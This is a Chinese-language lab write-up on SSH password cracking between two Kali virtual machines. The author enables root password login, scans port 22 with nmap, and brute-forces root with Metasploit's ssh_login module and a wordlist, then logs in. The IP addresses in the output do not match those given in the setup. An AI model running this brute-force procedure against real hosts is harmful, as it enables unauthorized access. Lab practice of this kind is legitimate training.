密码破解

实验环境

Kali 攻击端　IP：192.168.160.129

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:f6:db:a8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.160.129/24 brd 192.168.160.255 scope global dynamic noprefixroute eth0
       valid_lft 1555sec preferred_lft 1555sec
    inet6 fe80::20c:29ff:fef6:dba8/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Kali1被攻击端 IP:192.168.160.135

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pf
ifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:5b:5c:40 brd ff:ff:ff:ff:ff:ff
    inet 192.168.160.135/24 brd 192.168.160.255 scope global
 dynamic noprefixroute eth0
       valid_lft 1542sec preferred_lft 1542sec
    inet6 fe80::20c:29ff:fe5b:5c40/64 scope link noprefixrou
te
       valid_lft forever preferred_lft forever
```

实验步骤

配置sshd_config

```
1  ┌──(root💀kali1)-[~]
2  └─# vim /etc/ssh/sshd_config^C
3
```

```
33 #LoginGraceTime 2m
34 PermitRootLogin yes
35 #StrictModes yes
36 #MaxAuthTries 6
37 #MaxSessions 10
38
39 #PubkeyAuthentication yes
40
41 # Expect .ssh/authorized_keys2 to be disregarded by default in future.
42 #AuthorizedKeysFile     .ssh/authorized_keys .ssh/authorized_keys2
43
44 #AuthorizedPrincipalsFile none
45
46 #AuthorizedKeysCommand none
47 #AuthorizedKeysCommandUser nobody
48
49 # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
50 #HostbasedAuthentication no
51 # Change to yes if you don't trust ~/.ssh/known_hosts for
52 # HostbasedAuthentication
53 #IgnoreUserKnownHosts no
54 # Don't read the user's ~/.rhosts and ~/.shosts files
55 #IgnoreRhosts yes
56
57 # To disable tunneled clear text passwords, change to no here!
58 PasswordAuthentication yes
59 #PermitEmptyPasswords no
```

```
┌──(root💀kali1)-[~]
└─# systemctl restart ssh
```

使用攻击端nmap扫描被攻击端的22号端口

```
┌──(root💀kali)-[~]
└─# nmap -p 22 -sV 192.168.160.135
Starting Nmap 7.91 ( https://nmap.org ) at 2023-11-15 19:21 CST
Nmap scan report for 192.168.160.135
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3p1 Debian 1 (protocol 2.0)
MAC Address: 00:0C:29:5B:5C:40 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
```

使用msf

```
msf6 > search ssh_login

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                            normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                     normal  No     SSH Public Key Login Scanner
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syn
tax 'file:<path>'
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair
per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.160.135
rhosts => 192.168.160.135被攻击端IP
msf6 auxiliary(scanner/ssh/ssh_login) > set username root
username => root 用户名
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/test.txt
pass_file => /root/test.txt字典文件
msf6 auxiliary(scanner/ssh/ssh_login) > set threads 5
threads => 5线程
msf6 auxiliary(scanner/ssh/ssh_login) > run
```

```
[*] 192.168.160.137:22 - Starting bruteforce
[+] 192.168.160.137:22 - Success: 'root:1' 'uid=0(root) gid=0(root) 组=0(root) Linux kali 6.3.0-kali1-amd64 #1
 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.160.136:44335 → 192.168.160.137:22) at 2023-11-15 21:32:13 +0800
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
```

验证

```
msf6 auxiliary(scanner/ssh/ssh_login) > ssh root@192.168.160.137
[*] exec: ssh root@192.168.160.137

The authenticity of host '192.168.160.137 (192.168.160.137)' can't be established.
ED25519 key fingerprint is SHA256:ajvv52s7OUdCX57fe/9YOC/R1M32D5fR+/3oSOBniv0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.160.137' (ED25519) to the list of known hosts.
root@192.168.160.137's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 15 21:12:44 2023 from 192.168.160.1
```